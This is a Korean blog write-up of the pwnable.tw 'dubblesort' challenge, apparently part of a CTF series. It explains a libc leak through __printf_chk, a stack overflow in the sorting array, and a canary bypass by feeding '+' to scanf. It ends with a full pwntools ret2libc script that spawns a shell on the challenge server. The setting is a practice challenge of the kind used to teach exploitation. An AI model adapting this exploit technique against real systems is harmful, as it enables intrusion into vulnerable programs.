나름 재밌는 문제였는데 조금 이상한 문제이기도 했다.
진짜 처음에 BOF터지는건 찾았는데 스택이 자꾸 이상하게 밖혀서 고생좀 했다.
일단 Leak 은 __printf_chk() 이 함수 이용한거임.
실행시키면 이렇게 앞에 이상한 문자열이 나오는데 저게 __printf_chk() 이거때문에 그러는거같았음.
스택 봐보면 A를 이어서 넣었는데 41앞에 붙어있는게 보일턴데 저거까지 같이 출력되는거임. 즉 libc가 있는대까지 A를 붙여서 Memory Leak을 시켜버리는거임. 근데 개 골떄리는게 내꺼엔 아됬음 ㅋㅋㅋㅋ nc로 바꾸면 Leak 이 정상적으로 되는데 로컬로만 하면 안됨 ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ
이거때문에 멘탈 한번 나가버림 충격 그 자체... 뭐 일단 Leak 은 됬으니까... leak 은 다른데서 코드 배껴왔음... 그래서 배열로 버퍼오버플로우 발생하니까 이걸로 익스하면된다.
보기 편하게 그림하나 가지고 왔음. 이게 제일 좋은 그림인듯함 여기서 canary 를 또 우회시켜줘야되는데 이 문제에서 우회하는방법은 총 두가지임 canary에다가 "+" 를 넣어서 우회시키던가 아니면 그냥 익스해버리고 마지막에 scanf("%u") 이거할떄 문자열을 넣어서 강제종료시켜버리면 카나리가 우회됨,
익스 빠밤~~~ 하면됨
from pwn import *
#p = process("./dubblesort")
p = remote('chall.pwnable.tw', 10101)
#context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(p)
#p.interactive()
p.recvuntil("What your name :")
p.sendline("A"*24)
p.recvuntil('A'*24)
leak = u32(p.recv(4))
libc_base = leak - 0x0a - 1769472
success('libc_base = '+hex(libc_base))
addr_system = libc_base + 239936
addr_binsh = libc_base + 1412747
log.info('system_addr = '+hex(addr_system))
log.info('binsh_addr = '+hex(addr_binsh))
p.recvuntil("do you what to sort :")
p.sendline("35")
for i in range(24):
p.recv()
p.sendline("1")
p.recv()
p.sendline("+")
for i in range(9): #앞에 8자리는 그냥 채움용 스택 순서 변경하지 않음
p.recv()
p.sendline(str(addr_system))
#for i in range(2):
p.recv()
p.sendline(str(addr_binsh))
#p.recv()
#p.sendline("h")
p.interactive()
쪼금 나름 어려운 문제였음...디버깅을 진짜 잘해야됨
'CTF > Pwnable.tw' 카테고리의 다른 글
Pwnable.tw pwnable_silver_bullet Write up (0) | 2019.11.05 |
---|---|
Pwnable.tw pwnable_3x17 Write up (0) | 2019.11.04 |
Pwnable.tw pwnable_start Write up (0) | 2019.11.02 |